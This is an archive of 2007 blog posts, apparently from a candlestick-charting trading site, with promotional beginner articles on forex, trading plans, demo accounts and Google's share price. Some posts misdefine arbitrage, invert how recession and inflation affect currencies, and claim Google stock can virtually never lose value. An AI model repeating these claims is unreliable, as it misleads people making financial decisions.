The most difficult thing to do in trading and investing is to buy more when fear is widespread and to sell when craze is the highest. Stock markets and asset classes continually cycle up and down. Typically people will buy winning stocks, as an investing strategy, for stocks broadcasted all over the news after they have just risen as high as 50% or more, with the impression that the stock will continue to rise forever. Buying in the ditches when nobody is talking about a stock provides very low-risk, with possible high rewards.  Psychologically this can be emotionally stressful but part of profitable candlestick trading tactics.

Investing Strategy #5

Having a Stock Trading Plan
If you are traveling, a map is the key to a successful journey. Without it you are simply guessing which way to go. The same is true in the stock market; if you don’t have your investing strategy mapped out, you will struggle, not knowing which direction to go. A stock trading plan is one of the investment basics giving you the map you need by defining your investment philosophy as well as your plans for reinvesting profits, minimizing losses and picking stocks. Your stock trading investing strategy should be a comprehensive, unemotional approach to your strategy for investing. It should be something that you can pull out each year and use to review your holdings and ensure that you have stayed on course with your financial objectives.


Online Stock Market Reviews presented live via the internet by Stephen Bigalow
High Profit 

Candlestick Patterns Book
WORDEN Brothers - TeleChart 2007
The Candlestick Forum Option Training
5-Star 

Trading Plan


October 5, 2007
Forex Traders

Forex Traders - Capitalize on Greed and Fear
Profitable Forex Traders understand greed and fear and how to take advantage of panic selling at the bottom due to fear. Or, exuberant buying at the top due to greed. Forex traders make the most from other traders’ mistakes. Learning to sell into greed and buying into fear can produce some healthy profits. Sounds easy enough, right? Yet, where does one grab the falling knife? When is high too high? All entities can be effectively analyzed with candlesticks. This information inherently benefits forex traders to allow for less emotional turmoil when making trade decisions.

At the end of the day, it’s the individual traders that determine the price of everything. In a Bull market where greed runs rampant,  traders can push prices too far to the upside. Eventually an overextended high must retrace to a lower price. Identifying an overextended market is the easy part. Successful forex traders learn how to look for variations in currency pairs and attempt to buy when their difference is low and sell when their difference is high.

Familiar candlestick pattern formations help Forex traders to stay psychologically removed from price spikes caused by greed and fear. Proper interpretation of the candlestick formations assure forex traders maintain their composure and focus on the reality of what the charts are telling them. If this sounds simple, that’s because it is! Keep it Simple Stupid. Follows the facts and leave the ‘white-knuckle’ trading to less experienced forex traders.

Thanks to the computer age, Forex day trading is now more available than ever before.

In the beginning, day trading was only possible for financial companies such as banks because of the fact that few had access to the market exchanges and live market data. Now with the advancement of both the Internet and the processes of the stock and futures markets, individuals now have access the same market data and futures exchanges as these financial institutions. In addition, trading has become so affordable that just about anyone with a computer can make trades.

Not all of us are suitable forex traders.

Forex trading, like any other form of investment is not for everyone. While there are great stories about huge successes by Forex Traders, there are equally depressing stories about failed forex traders. As in any other investment vehicle, paper trade until you are assured of a successful trading strategy.

Forex currency trading for beginners includes some important steps. Like any other form of trading, the investor needs a trading plan to outline his or her strategy; do you plan to trade by “scalping” (only holding positions for a few seconds or minutes)? Do you plan to use trend trades, counter-trend trades, or ranging trades? These are the kind of decisions that come into play and you need to know what you are going to do before you do it.

Before YOU decide to join the growing list of Forex Traders, make certain you understand all the legalities and take a close look at the Forex Markets. There are an ever increasing number of trading platforms offered to forex traders. Check each with the National Futures Association. As recently as this March there were amendments to requirements affecting forex traders.

Forex Traders need to be on the lookout for Investment Fraud.
The individual investor experiences a limitless amount of freedom in choosing among investment vehicles. With this freedom comes risk. There are swindlers around every corner, concocting their next investment scam. A recent article stated a successful thief can take in billions from one scheme alone. How? Once again, by capitalizing on Fear and Greed, the very same emotions you try to avoid when making your investment decisions.

Forex Traders should practice due diligence when researching Software. The trading world will never be the same, thanks to the internet and rapidly increasing computer functionality. Familiarize yourself with forex currency trading for beginners; a good source to review software platforms and security issues.

Good news for Forex Traders. You are gaining in numbers in large part due to the ‘anytime access’, much like commodity trading. It is available 365 days a year, 24-hours a day. Perfect for trading around the clock, any time of the day or week. Due to the increased demand to meet the Forex market, there are new trading and investing Forex software systems to improve currency trading.


Online Stock Market Reviews presented live via the internet by Stephen Bigalow
High Profit 

Candlestick Patterns Book
WORDEN Brothers - TeleChart 2007
The Candlestick Forum Option Training
5-Star 

Trading Plan


October 3, 2007
Trading Stocks

Trading Stocks: Basic Information You Should Know

In the terminology of the financial markets, trading stocks means to buy and sell. The only two ways that exchanges execute a trade are electronically and on the exchange floor.

There is a strong drive to move more trading to the networks and off the stock trading floors, however this drive is meeting some opposition. Most markets, most notably the NASDAQ, trade stock electronically. The electronic markets use immense computer networks to match buyers and sellers trading stocks instead of human brokers. While this stock market trading system is not the typical exciting “image” of people running and shouting about, it is efficient and fast.

Trading stocks on the exchange floor, however, is pretty hectic. A walk through of how to buy stock on the NYSE floor includes the following steps. First, the individual investor tells the broker to buy a certain number of shares when trading stocks in a specific market. Then the broker’s order department sends the order to their floor clerk on the exchange.  The floor clerk notifies one of the firm’s floor traders who then finds another floor trader. Once the stock trade is made, confirmation is send via mail to the individual investor.

Day trading can be a great way to make money trading stocks. All updates are posted in real time online and the trading floor is always active.

Before you begin, understand the stock market, and research different financial websites to understand the different types of stock analysis. It is also wise to research common mistakes made when trading stocks.

Stock Market Analysis: Technical analysis is based on prices and volume when trading stocks. Technical stock investors believe price and volume interpret everything in the market.  They pay little attention to the financial state of the company. Fundamental analysis uses financial and economic analysis to predict the movement of stock prices.

Common Mistakes Made Trading Stocks

Lack of Planning

Trading stocks is greatly influenced by political and economic events, therefore, you must devise a stock trading plan that will obtain the best possible return on investment. Practice stock trading for when unexpected situations arise, like the sudden downfall of a resource stock because of external events. This will help you find out what courses of action are available in the event that the possible anticipated external event occurs when trading online.

Lack of Dedication

Stock market daytrading requires careful and continuous monitoring due to sporadic market conditions. You must dedicate your time not only to trading stocks itself, but to studying financial trends, market strategies, and reviewing stock market movement in order to be successful.

Trading Stocks Too Much

There is no need to trade every day and to hold numerous positions in the market to ensure a win. Less is more. Operate by saving your trading capital for days that are good and hold out on doubtful periods when analyzing stock market trends

Greed

Never stay in the market longer than you should and remember it is okay to lose a little along the way when trading stocks. Many times, when a reasonable profit has already been obtained, some successful traders opt to hold on and do not close in anticipation of a reaching a higher value, which quite often does not come. Be patient and trade stock the following day for a greater win.

Learn to day trade to make money, however, be familiar with specific knowledge involved in addition to the basics provided above.  Understanding of trading stocks is a must before you start risking your own money. Don't leap into the stock market game before you are ready!


Online Stock Market Reviews presented live via the internet by Stephen Bigalow
High Profit 

Candlestick Patterns Book
WORDEN Brothers - TeleChart 2007
The Candlestick Forum Option Training
5-Star 

Trading Plan


September 28, 2007
Google Stock Price

Google stock price exceeded $500 for the first time as reflected in the Wall Street News. Google, founded just 9 years ago, now has a market value of almost $175 billion. The Google stock price has increased by more than six-fold from its initial public offering price of $85 in August 2004. The shares topped $100 on their first day of trading on the Nasdaq Stock Market, then crossed $200 in less than three months. The stock broke through $300 another seven months later in June 2005 and then breached $400 on Nov. 17 last year.

Most analysts still believe the  Google stock price is reasonably priced because of the rapid growth that is expected to propel the company's profit well beyond $2 billion this year. Some analysts believe Google stock price will hit $600 within the next year, this up from $106 million in 2003. Analysts, on average, predict Google will have $13.70 earnings per share next year, leaving the company's price-to-earnings ratio at about 37. By comparison, the price-to-earnings of Microsoft Corp. - the world's most prized technology company with a market value of nearly $300 billion - is about 21, based on analyst's 2007 earnings projections.

Be mindful, however, that anyone waiting for stock splits before investing at the current Google stock price, risks being left on the sidelines. Although most publicly held companies regularly split their stock to create lower earnings per share. That appeals to more main stream investors. The proudly unconventional Page and Brin have repeatedly indicated they have no intention of resorting to that maneuver.

Google stocks are currently the most talked about in the stock market and are commonly referred to as GOOG. Many websites out have currently updated prices and quotes (stock market predictions on where Google stock price is the heading) but Google itself has its own regularly updated webpage.

Most are puzzled at how Google has so many supporters worldwide, but it’s actually easy to understand why the Google stock price seems to be doing so well. It’s a widely known fact that Google stocks have virtually no chance of ever not having value and its reliability has its trustees knowing that long term investing will pay off. Even though it may falter at times, that doesn't last for long. The latest run-up in Google stock price represents a turnaround from a little over a month ago when the shares briefly dipped below $500 amid the stock market turmoil triggered by a home mortgage meltdown that raised fears about a recession. Those worries have lessened because of the Federal Reserve Bank's decision to lower short-term interest rates by 0.5 percentage point in a move expected to free up more money for consumers and businesses to spend.

Interested in jumping on the band wagon at this Google Stock Price?  You must know the stock market basics and also know that there are two types of stock.

Two Types of Stock: Preferred Stocks have less rights than Common Stocks with one major difference. Companies with Preferred stocks tend to give out monthly dividends. It also has first rights on the stock dividends over the Common Stocks.  Common Stocks are the ones held by the public and gives you rights to stock dividends and voting too. Holding a stock gives you a piece of the said company. You have the right to vote on members of the board of directors and other important matters before the company. If the company distributes profits you are entitled to a piece. If the company you hold stock in loses all of its money or must pay out more money than it has; the holder of the stock is not liable in any way.

In summary, getting in at this Google Stock Price will remain a heated topic of discussion among money managers.


Online Stock Market Reviews presented live via the internet by Stephen Bigalow
High Profit 

Candlestick Patterns Book
WORDEN Brothers - TeleChart 2007
The Candlestick Forum Option Training
5-Star 

Trading Plan


September 25, 2007
Forex Trading System
Every great accomplishment starts with a plan. Whether you are building a house, starting a business or learning Forex trading, you need a plan. In the past we have talked about how important it is to have a stock trading system. Now we will bring that same thinking to the importance of developing a Forex trading system. Since every great accomplishment starts with a plan, let’s make that plan now.

Planning For Success
In every form of trading and investing, (stocks, options, futures, etc.) a trading plan should be the first thing you do. This is your one chance to think through your goals, your abilities and your intentions for trading. Most people find out as they create their Forex trading plan that there are a lot of things involved that they never considered. What do you do when you are losing money? What do you do when you are making money? What approach do I want to take in my investing? By laying out a clear plan in your Forex trading system, you will eliminate the questions that can confuse you when things get stressful and you need to make decisions quickly.

A Forex trading system can include strategies for both long-term trading and Forex day trading. There are intricacies in each type of trading and establishing a Forex trading system can help you think through these differences in a non-emotional way. You can also include things that can be easily forgotten in Forex trade, such as definitions of specific strategies or anything else you might want to know in a moment’s notice.

Behind the obvious reasons for having a Forex trading system is another very good feature. This is excellent training in Forex currency trading for beginners. Writing out your Forex trading system in advance can help a newcomer understand that there are many things involved in foreign currency trading and researching those things becomes an excellent way to learn. Learning how to invest is one half understanding the concepts of the market and one half understanding the terms and strategies involved. Creating this plan helps to understand both.

Equipping Yourself For Success
Establishing your Forex trading system will point out another need to you. When trading Forex, you need to have a method for identifying trends and potential currencies for buying and selling. This is where your technical analysis becomes a part of your Forex trading system. Understanding the dynamics of a particular currency and the country it is from are important. So is being able to follow its trading history and predicting future movements.

This is where a method such as Japanese Candlesticks comes into play. This method, with a history of several hundred years, has proven to be invaluable for investors in all of the markets, and it is a valuable part of a Forex trading system. With its simple, yet detailed symbols, patterns and signals, Candlestick charting can give you great insight into the movements that occur in Forex trading. Adding Candlesticks as your method for evaluating currencies gives you the most powerful analysis tool available for your Forex trading system.

Conclusion
In the world of the Forex markets, a Forex trading system is an important first step in your foreign currency investing. By outlining your goals, defining key points and establishing your investment philosophy, you will be able to determine the approach that is best for you. Equipping yourself with a Forex trading system will help you to start planning for your success in the complex, yet interesting world of Forex investing.


Online Stock Market Reviews presented live via the internet by Stephen Bigalow
High Profit 

Candlestick Patterns Book
WORDEN Brothers - TeleChart 2007
The Candlestick Forum Option Training
5-Star 

Trading Plan


September 21, 2007
Forex Investor

Sometimes learning how to do something is not as important as being able to identify the characteristics of someone that is already successful at the same thing. This can be true in commodity investing when you are trying to diagram a Forex investor. Forex trading can be an exhilarating form of investing and seeing the things that define a Forex investor might be the help you need to establish your own trading success.

A Strong Heart
This is the first trademark of a successful trader. A Forex investor needs to have the aptitude to develop a trading plan for his or her trading. This includes a straightforward approach to goals, techniques and self-imposed rules. A Forex investor will be involved in situations that can become emotional but an emotional Forex investor will usually make mistakes. A trading plan can help the trader avoid the emotions and continue to base decisions on his or her plan. This doesn’t have the thrill of “winging it”, but a Forex investor doesn’t’ have wings!

Steady Hands
As part of the trading plan, Forex investor has to decide whether or not to handle his or her own account. This also includes deciding whether to utilize online Forex trading. Trading online has become an integral part of Forex trading because of the fast-pace nature of the market. A Forex investor who wants to be involved in Forex day trading will need to have an online trading account and will be handy with a computer.

An Eye For Detail
Forex investors need to have an eye for detail; this means looking for potential trades based on your fundamental analysis. Reviewing the news and Internet information for potential changes in the currency of a country helps a Forex investor to find potential trades before they come to pass. This is one area that has made trading Forex something that an investor can do alone. There is a tremendous amount of information available on the Internet and a good investor will use it as an advantage.

Fingers In Everything
A good Forex trader with indeed have his or her fingers in everything. This is accomplished by implementing a trading system he or she can use to chart currency pairs and to look for trends. The best way to put your finger on the pulse of the Forex market is to use Japanese Candlesticks. This method has its roots in commodities trading and it is excellent for the Forex investor to use. This system will allow the investor to analyze daily activity and review long-term views for potential signals. This is a system with over three hundred years of successful use it is still a powerful tool today.

Strong Legs
A successful Forex trader will need to have strong, steady legs for following the path that exists for learning Forex trading. There is a great deal of risk involved in this investment form and the path to success is littered with traders that could not stay with their plan. Once you have created your plan, learned your trading software, done your analysis and charted your prospects, you will have to follow through with your trades. The Forex markets are a lonely place if an investor does not carefully apply the things that he or she has learned.

Conclusion
The anatomy of a Forex investor is like the any other creature. In foreign currency trading there is a basic form and the ones that are not made in that image using do not survive. In this case, a Forex investor is not born. He or she has the ability to self-invent and assume the traits that will lead to success. Successful trading follows when a person has the anatomy of a Forex investor.

Online Stock Market Reviews presented live via the internet by Stephen Bigalow
High Profit 

Candlestick Patterns Book
WORDEN Brothers - TeleChart 2007
The Candlestick Forum Option Training
5-Star 

Trading Plan


September 18, 2007
Forex Made Easy

Starting A Difficult Topic
Wow!  Where did this title come from?  We are going to discuss points about foreign currency trading but it is going to be difficult to turn this into “Forex made easy.”  Forex is a complex, fast-moving and highly volatile form of trading and if we can help you understand trading Forex, maybe we will call that Forex made easy.  For starters, let’s make a few basic points about Forex.

What Forex Is
By definition Forex is foreign exchange trading.  This is when you buy or sell one country’s currency with another’s...that is the term “Forex” made easy!  The profit you make is because of arbitrage.

The Profit In Forex Is Arbitrage
In the Forex markets, arbitrage is the taking advantage of a price differential between two or more currencies: a combination of matching deals are struck that capitalize upon the imbalance, the profit being the difference between the market prices.  To break it down, when you buy a currency cheaply and sell it more expensively, the difference is arbitrage.  Ok in our foreign currency for beginners efforts, it’s safe to say we now have both arbitrage and Forex made easy!

Forex Is Widely Traded
Forex trade is the most active form of trading in the world, exceeding all other forms combined.  Because of the large volumes that are moved every day, Forex is highly volatile, meaning there are rapid price changes with all of the trading and investing.  There are a huge number of investors that no doubt wish someone could have made Forex easy.

Ticks and Leverage
Ok, the last two things we’ll mention here.  A tick isn’t a bug, the sound of a clock or a neurological condition; it is the minimum measurable movement in Forex trading.  If you are trading Japanese yen, it will be a percentage.  Likewise it will probably be .01 of one cent when trading US dollars.  It may seem like an insignificant amount to worry about investment strategies until you consider leverage.  Leverage is what makes commodities trading in Forex high-stakes.  Frequently the minimum lot size is a thousand times its price; these kinds of ratios mean that you can lose a lot of money.  I suspect that doesn’t fall under “Forex made easy” for you but rather under “Forex made scary!”

Forex Made Easy – Some Basic Tips
Like I told you before, Forex trading is complex, fast moving and highly volatile.  It is difficult to say that anything can simplify this type of trading but here are a few tips to help you develop your investment philosophy.

Forex Made Easy Tip #1
Make a trading plan.  This is the form of trading most vulnerable to emotional influence and emotions will ruin many successful traders.  You trading plan will help you map out your goals and strategies so take advantage of it.

Forex Made Easy Tip #2
Research every trade that you are considering.  Fundamental analysis will help you to create a strong understanding of the different currencies you consider trading.  Do it every time.

Forex Made Easy Tip #3
Use a trading system.  A system like Japanese Candlesticks will help you to track the daily movements of your target currencies and find recurring patterns that will aid you in making more successful trades.

Conclusion
This probably is not the “Forex made easy” guide that you were hoping for.  The “bad” Forex news is that nothing is easy when it comes to Forex trading.  It takes planning, discipline and effort for successful trading.  The “good” Forex news is that if you follow what I told you, you will improve the amount of successful trades you make.

Online Stock Market Reviews presented live via the internet by Stephen Bigalow
High Profit 

Candlestick Patterns Book
WORDEN Brothers - TeleChart 2007
The Candlestick Forum Option Training
5-Star 

Trading Plan


September 14, 2007
Forex Signals
For many people, Japanese Candlesticks have revolutionized stock trading. Investors learn to chart their stocks, interpret their findings and invest based on the results. For people involved in Forex, this success can be duplicated by finding Forex signals with Japanese Candlesticks. Candlesticks is a powerful tool whether you trade stocks, crude oil or currency and you can profit by paying attention to the Forex signals that it provides.

Japanese Candlestick signals came into existence in the late 1600s as a method of analyzing the rice markets in Japan. With their colorful names and distinct trends Candlestick pattern formations not only give a graphic representation of Forex signals but offer insight to future trends as well. Simply put, Candlesticks create Forex signals that help you know when to buy and when to sell.

What Do Forex Signals In Candlesticks Say?
Candlesticks not only helps an investor to read the facts of the market but it also helps to read the mood of the market. Because of this Candlestick trading helps to do something that no other system can do. It puts the emotions back into the Forex signals. Emotions are bad if they lead an investor into making a bad trade but if an investor can read the emotions of other traders, he or she can act on them profitably. The chart formations help an investor to see what is driving buying and selling decisions, and then make accurate conclusions about the entry and exit points for trading.

How Do You Read Forex Signals In Candlesticks
For foreign currency trading, Forex signals in Candlestick are comprised of two features: candles and patterns. Each of these is important to performing Candlestick analysis, with candles representing daily analysis and patterns offering analysis of a group of candles.

Candles
A candle is the information that defines a day’s trading: opening price, closing price, daily high, daily low and positive or negative close. This information is all wrapped up in a simple symbol that includes a rectangle and two lines, one extending vertically from the top and bottom of the rectangle. The rectangle represents the open and closing prices of the Forex pair; this rectangle is then color-coded based on whether the currency trading was positive or negative. The two vertical lines represent the high and low that the pair realized for the day.

In Candlestick basics it is important to notice a couple of things about the candles. Depending on the day’s trading, it is possible that the candle won’t have shadows and it is equally possible that it won’t have a body. Each of these conditions is important and helps to give you Forex signals for different conditions.

Patterns
Once you have started charting your candles, you can look for Candlestick chart patterns.  These formations are repetitive groupings that indicate certain conditions in the currency market.  While there are 40 or more patterns, there are 12 that most experts suggest committing to memory; by knowing these major Japanese Candlestick patterns, most investors will have more than enough knowledge to interpret Forex signals.

Using Candlesticks For Forex Signals
The key to interpreting Japanese Candlestick charts is successfully combining the candlesticks with the correct patterns. Because this system has over 300 years of successful use, there is much to gain by understanding its principles. Traders can create a very solid investment strategy basing their interpretation of Forex signals on the experience and power of Japanese Candlesticks. With all of its insight, Japanese Candlesticks is still a system that even the beginner in Forex trading and understand and successfully use.


Online Stock Market Reviews presented live via the internet by Stephen Bigalow
High Profit 

Candlestick Patterns Book
WORDEN Brothers - TeleChart 2007
The Candlestick Forum Option Training
5-Star 

Trading Plan


September 11, 2007
Online Curency Trading
The Internet has become a powerful tool for traders. Online stock market trading has made it easier for investors to get involved and now Internet trading has moved to other forms of investment like options and futures as well. If your passion is Forex, you can get in as well, thanks to online currency trading.  Forex trading is the largest form of investing, with its daily totals exceeding all other forms of trading combined. While many people don’t know much about Forex, online currency trading is bringing the ability to get involved into the homes of most investors.

What Are The Benefits Of Online Currency Trading?
Online currency trading is a form of Forex trade that allows people to buy currency from one country with the currency from another country. The profit is found in differences in the exchange rates as demand and Forex news affect the rates. Online currency trading provides the opportunity for creating wealth and has the following benefits:

  • Forex education does not cost a lot. If you are interested in learning to become a successful Forex trader, the training is readily available via the Internet.  There are many companies that will help you learn hoping that you will use their services when you decide to start online currency trading.

  • There are several sources of free charts and news feeds. Because the Internet is such a powerful tool, you can find plenty of Forex software packages that offer charts and nearly up-to-date news feeds and quotes.

  • You can practice with a virtual account while you learn to trade. This is called currency demo trading or paper trading and it can be a tremendous help while you learn. You do everything the same as if you were investing real money. Companies will give you this for free hoping that when you invest, you stay with them.

  • It is possible to open a trading account for just a few hundred dollars. Because of the way foreign currency trading is done, online currency trading can be conducted with a small amount of money. Remember that since you are leveraging your investment, it is possible to lose more than you invest....a lot more.

  • You can trade Forex from anywhere in the world. If you can reach the Internet, you can do foreign exchange trading. It doesn’t matter where you are.

  • Learn to trade at your pace. Learning Forex day trading or any other form of online currency trading is something you can do as slowly or quickly as you want. You can also learn enough to make a career in online currency trading if you so desire.

  • Successful FOREX traders have a lifestyle most people can only dream about. Online Forex trading is an excellent way to make money. While there are risks involved due to the volatile nature of the market and the fact that you are leveraging your investment, online currency trading also offers the possibility of making a living trading Forex.
A Unique Opportunity In Forex
Online currency trading offers successful traders the opportunity to make huge profits and to do it from their own computers. An investor needs to realize that this convenience carries a large responsibility since he or she doesn’t have a broker to help with currency trading. The investor needs to establish a trading plan, perform technical analysis and implement features such as a trading system in order to flourish in Forex trading. The Internet is a powerful tool and online currency trading can help the investor to enjoy making money in Forex from anywhere.

Online Stock Market Reviews presented live via the internet by Stephen Bigalow
High Profit 

Candlestick Patterns Book
WORDEN Brothers - TeleChart 2007
The Candlestick Forum Option Training
5-Star 

Trading Plan


September 7, 2007
Forex Trading
We’ve discussed before that Forex trading can be an exciting and rewarding form of trading and investing. Forex trading has enough intrigue and adrenaline involved to satisfy almost any investor’s thrill-seeking side, yet it attracts more investors every day due to its high profit potential. With everything that is at stake when you are trading Forex, it is only logical that you would want the best tools available to help you. That is why we are going to talk about Forex trading with Japanese Candlestick signals

Can You Do It With Candlesticks?
That might be what you are asking yourself....you know that Japanese Candlesticks are great for stocks and commodity trading but Forex trading is a different animal, isn’t it? Different it is, but not in the way you think. Forex trading is a fast-moving, volatile market for sure, but the patterns and signals in Forex apply to Candlesticks the same way that they do in the stock market and commodities. You can chart movements and then use the signals of Candlesticks to draw conclusions about the market. The power of this system can help you with your Forex trading just like it does with your stock trading.

Before we go any further, answer this question. Are you familiar with Japanese Candlesticks? Even though you found this forum, you might still be confused about what you discovered. Candlestick trading is a system that was developed in the 17th Century for use in the rice trade of Japan. Much like today’s commodities markets, people could see trends in the market. By accurately predicting these trends, investors could get the best prices and make the best profits. This system was successfully brought to the United States where it is widely accepted as the premier method of charting and predicting the market.

How To Apply Candlesticks To Forex Trading
This is really not much different than how you would use Candlesticks for commodity or stock trading. You will use a currency pair’s daily open, close, high and low to form the real body and the shadows of a day’s trading. You will then either fill in the body or leave it open based on whether the day closed up or down. This gives you a Japanese Candlestick signal for the day. Combining these signals in to Candlestick pattern formations allows you to not only see a daily sequence but it allows you to use these patterns to look for repetitive events in Forex trading. The simplicity and power of Japanese Candlesticks becomes apparent when you are able to see trends as they are occurring and make successful trades based on those trends. Since the signals are based on the relationship between the currency pairs, this gives you a common number you can track. The rest of it is just like any other Candlestick chart.

Is Candlesticks The Only Thing You Need For Forex Trading?
No, Candlesticks is only one important component in your trading experience. You still need a trading plan to define your strategy, goals and techniques, and you need to be diligent with your technical analysis. These things combined with your Candlestick charting give you an advantage in Forex trading that you won’t get with anything else.

Forex trading can be complex and fast-paced. Forex currency trading for beginners needs to include the basics so that the investor can immediately improve his or her chances for success. By using a trading system like Japanese Candlesticks with your trading plan and research, you are giving yourself the best chance for success in Forex trading.


Online Stock Market Reviews presented live via the internet by Stephen Bigalow
High Profit 

Candlestick Patterns Book
WORDEN Brothers - TeleChart 2007
The Candlestick Forum Option Training
5-Star 

Trading Plan


September 4, 2007
Buy Stock

When is a good time to buy stock? This is a good, honest question. Today we’re going to take some time to put together an answer for that one. In a nutshell, whether you are implementing stock option trading strategies or planning your method for long-term investing, the answer of when to buy stock is completely up to you. The fact is that if you have a good trading plan and you are diligent in your research, you can buy stock in any market....and you should! The amount of work that you have to do and the types of purchases you make will change but any time is a possible time to buy stock. 

As I said, you will find that the amount of work you have to do will likely increase during less favorable periods such as high stock volatility, but volatility itself doesn’t eliminate the possibility of finding good deals in the stock market. There are a number of different market conditions that can have an effect, so let’s discuss a few of them.

Bull and Bear Markets
When the market is on a consistent trend, whether upward or downward, it can seem easier to buy stock. As opposed to an unstable market, movements in trending markets are more readily identifiable and the signals are clearer. Many investors have “invented” forecast models for trading and they usually work very well in markets like these where investment timing seems to be more a product of maximizing your profit than trying to find a suitable purchase.

This is not to say that investment risk disappears in a trending market. In fact, this can be a very dangerous time for an undisciplined trader. Because investing feels “easier” in trending markets, an investor is more tempted to buy stock without following his or her technical analysis. This is always a dangerous situation.

Volatie Markets
A volatile market is not unlike what has been happening recently.Wall Street news is consumed every day with the grim report. Trading started way up for the day but finished with a triple-digit loss....or maybe the news said that stocks rallied after being down most of the day. Stories like these have become regular fare, but even these periods shouldn’t scare off investors. It is possible to buy stock during these periods and actually those who are involved in day trading relish days where there are big swings in the market. This morning’s lows can become this afternoon’s highs and investors who pay attention and buy stock on these changes can see some very good profits.

The key to successful trading during this time is....you guessed it....being faithful to your research. Charting can be a great help and many investors use complex statistical models to continue looking for trends. One example of this is to follow moving averages and to buy stock based on these chart formations. Moving averages are helpful in smoothing out charts that appear to be unreadable based on the instability.

Getting a Clear Reading
When is a good time to buy stock? You can always find a stock to buy, but the best time to buy stock is after you have done your fundamental and technical analysis to make sure the purchase fits the rules you laid out in your trading plan. If your research indicates a stock that is a good purchase and it fits within your stock portfolio, buy it. If it doesn’t measure up or it doesn’t fit within your plan, don’t buy it. In the end, the best time to buy stock is a product of you, your research and your trading plan.


Online Stock Market Reviews presented live via the internet by Stephen Bigalow
High Profit 

Candlestick Patterns Book
WORDEN Brothers - TeleChart 2007
The Candlestick Forum Option Training
5-Star 

Trading Plan


August 31, 2007
Currency Demo Trading
As the start of the 2007 season approaches for the NFL, rookies on each team are trying to grasp the concepts of their new teams. Whether playing for the Oakland Raiders or the champion Indianapolis Colts, these newcomers need time to learn the complexities in their new positions. The same is true for newcomers in the stock market or the Forex market. Beginners need time to learn the details of trading. Currency demo trading in the Forex markets is an excellent method for these investment rookies.

Like training camps in the NFL where rookies learn not commit penalties or fumbles, currency demo trading is where investment rookies learn not to potentially fumble away their investments. Forex news is always full of stories where traders lose money. Currency demo trading is a means of reducing the number of these sad stories. This technique allows investors to practice without jeopardizing their investments. The Forex software is free and readily available to traders looking to go through their own version of training camp.

Learning To Succeed
Currency demo trading is about learning to succeed. It doesn’t take the place of fundamental and technical analysis, nor does it eliminate the need for a trading plan. What currency demo trading does is allow you two test your research and plan to confirm that you understand what it takes to invest in this complex market. Forex trading is a dynamic skill, forcing investors to master a higher level of expertise. Large sums of money can be made in Forex....or lost. This is one of the few forms of investing where you can actually lose a lot more money than you originally invested. Like the NFL, the stakes are high and so the training is vitally important.


Currency demo trading doesn’t replace the groundwork that you need to do to be a successful trader. Every good trader starts by developing a trading plan. This entails defining your goals, your investment philosophies, strategies for avoiding or minimizing losses and accepting profits. A well-defined trading plan will help an investor survive when emotions are driving other traders to make mistakes.

In addition to your trading plan, you will need to learn Forex trading. This means understanding the terms, the techniques and the research that make Forex trading so difficult. The truth of the matter is that learning a currency demo trading software is probably much easier than actually learning to trade Forex. Because of the ability to margin trade, an investor can control much more currency than his or her outlay would normally allow. Add the fact that Forex markets change rapidly and you have a recipe for disaster for the uninformed. Learning the basics of Forex trading and how to research investments is just as crucial for successful Forex traders learning a currency demo trading software.

Getting Started
This is another place where some study is needed. Choosing your currency demo trading account is essentially choosing your broker in the Forex market. Most times, if you become familiar with a currency demo trading account you will open your live account with the same company. This is another place where we can use an NFL analogy. This is kind of like a football player choosing his agent. Each one offers different commissions as well as different levels of support. A high-maintenance player might need an agent who offers the most services, but also charges the most. Another player might choose an agent who does nothing more than handle the money. The same is true in Forex trade where a levels of service and investment options can vary greatly.

Conclusion
Forex currency trading for beginners is like learning NFL. It can seem like a contact sport and you will take those hits in your wallet if you don’t learn how to play. A currency demo trading account can help you to learn the investment basics before you actually dive into the real game.


Online Stock Market Reviews presented live via the internet by Stephen Bigalow
High Profit 

Candlestick Patterns Book
WORDEN Brothers - TeleChart 2007
The Candlestick Forum Option Training
5-Star 

Trading Plan


August 28, 2007
Foreign Exchange Trading
Foreign exchange trading is a mammoth undertaking, with more trading occurring than in the stock market and all other trading combined. Foreign exchange trading, or Forex trading for short, is the practice of using the currency of one country to buy the currency of another. Because of the continuously changing exchange rates, variations in prices occur and investors can use these price differences to make profits. There are a number of factors that affect foreign currency trading. Some of these factors include: government budget surpluses or deficits, trade surpluses or deficits, inflation and countries’ economic growth and health.

Governmental Budget Surpluses or Deficits
A country’s ability to govern within the money available in its budget is a huge factor in its overall fiscal health. Foreign exchange trading views a budget surplus as a favorable factor in the worth of a currency while a deficit can lower the value of a currency when trading Forex. Such a theory is evidenced when the United States announces its annual budget or makes monthly statements about its fiscal standing and the Forex news and markets adjust based on the reports.

Trade Deficits or Surpluses
This is another economic factor that can have a huge impact on the Forex markets. Trade deficits and surpluses speak to the economic health of a country. In most cases, a country that has a trade surplus is more prosperous and stable than a country that is operating at a deficit. For example, foreign exchange trading views the American dollar as less stable and less valuable because of the huge trade deficits that the country experiences. Forex currency trading for beginners should always include a discussion of the effects of trade imbalances on the price of currencies in foreign exchange trading.

Inflation
There tends to be a delicate balance between the phenomenon of inflation and recession. The state of a country’s economy is never stationary. It is either growing too fast or too slow. This pendulum-effect is not lost on successful traders in foreign exchange trading. A recessed economy can have a positive effect on a currency because investors perceive that people have more money to spend. Inflation tends to have a negative effect on investment philosophy because it reduces people’s spending power and in turn, demand for a particular currency in foreign exchange trading.

The Power of Technical Analysis
With so many outside factors involved, how can investors prosper in foreign exchange trading? Like investing in the stock market, the answer is relatively simple. For an investor to be successful in foreign exchange trading, he or she needs to follow some simple rules: create and follow a trading plan, perform technical analysis and use a charting system to monitor movements in the market.

By outlining your objectives and investment strategies in a non-emotional way, you are able to find investment methods that work best for you. After doing this, your technical analysis becomes very important because knowing the conditions affecting a country’s currency can make it easier to predict what it will do. Finally, using a charting system can help investors to see trends in foreign exchange trading. Finding a trend can go a long way to an investor make a profit. The best system for tracking and charting currency is Japanese Candlesticks. This system has a proven history of helping traders to identify trends and make successful trades.

Conclusion
Foreign exchange trading is affected by various factors and the results can be demonstrated by losses and successful trading. Understanding these and other factors can help you to make better investment decisions in foreign exchange trading.


Online Stock Market Reviews presented live via the internet by Stephen Bigalow
High Profit 

Candlestick Patterns Book
WORDEN Brothers - TeleChart 2007
The Candlestick Forum Option Training
5-Star 

Trading Plan


August 24, 2007
Online Options Trading
For those of you out there that enjoy doing things yourselves, online options trading is a perfect form of trading and investing. Thanks to the Internet, anyone can take advantage of online options trading and experience first-hand this interesting form of investing with a little option trading education. We will get you started here by touching on these points:
